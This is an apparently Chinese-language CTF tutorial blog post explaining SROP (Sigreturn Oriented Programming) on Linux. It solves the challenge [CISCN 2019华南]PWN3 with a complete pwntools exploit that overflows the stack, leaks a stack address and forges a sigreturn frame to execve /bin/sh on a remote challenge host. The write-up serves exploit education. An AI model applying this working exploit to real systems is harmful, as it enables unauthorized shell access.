SROP
2023/8/26大约 3 分钟
SROP
SROP(Sigreturn Oriented Programming)利用了linux下15号系统调用的->rt_sigreturn
Signal
Signal是Unix系统中的一种通信机制,通常用于在进程之间传递信息,也可以说是软中断信息常见于在一个进程中,内核向其发送软中断信号,该进程将暂时被挂起,系统进入内核态因为是暂时被挂起,所以系统会保留该进程的上下文 。即将所有的寄存器压入栈中,以及signal信息和指向sigreturn的系统调用地址在栈顶上放置rt_sigreturn。(这些信息也就是该进程的上下文,我们称为Signal Frame)
接下来用一张流程图来进行更好的理解:

- 用户态进程接收到别的进程发送的信号signal,该进程被挂起,进入内核态。
- 内核保存用户态进程的上下文,然后跳转到用户态的信号对应的信号处理程序,回到用户态。在这一阶段里,内核会构造一个位于用户态进程栈上的
Signal Frame
用于存放该进程的上下文,然后再压指向rt_sigreturn的返回地址。 - 用户态的信号处理程序执行完毕,pop返回地址
rt_sigreturn
,进程进入内核态,执行sigreturn
系统调用。内核根据之前栈上的Signal Frame完成用户态进程上下文的恢复。 - 返回用户态,并且按照恢复的上下文继续执行。
那么关键就在于第三步中的进行sigreturn的系统调用,然后依据栈上保存的Signal Frame来进行进程的上下文恢复,而我们从第二步可以知道Signal Frame是保存用户态的栈上的,那么这就以为着我们是可以对其进行伪造的,伪造好Signal Frame之后只需要进行sigreturn系统调用,那么进程的上下文就会变成我们所伪造的Signal Frame的内容。从而获取shell权限。
例题:[CISCN 2019华南]PWN3
使用IDA进行反编译

当发现存在mov rax,0xF的时候就应该想到SROP(15是sigreturn的系统调用号)

首先进行第一次栈溢出,为下一次溢出做准备的同时,泄露出栈的地址;

然后伪造sigframe;

最后写入/bin/sh,并且将返回地址覆盖为mov rax,0xF的gadget,然后进行系统调用,同时把伪造的sigframe也加入栈中。
exp:
from pwn import *
from struct import pack
from ctypes import *
from LibcSearcher import *
import base64
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
p.recvuntil(a)
def inter():
p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
context(log_level='debug',arch='amd64', os='linux')
#p = process('./pwn')
p = remote('node2.anna.nssctf.cn',28564)
elf = ELF('./pwn')
syscall = 0x400517
rax_15 = 0x4004DA
#leak stack
s(b'a'*0x10 + p64(0x4004F1))
stack = get_addr()
sigframe = SigreturnFrame()
sigframe.rax = 59
sigframe.rdi = stack - 0x110
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = syscall
s(b'/bin/sh\x00' + b'a'*0x8 + p64(rax_15) + p64(syscall) + flat(sigframe))
print(hex(stack))
inter()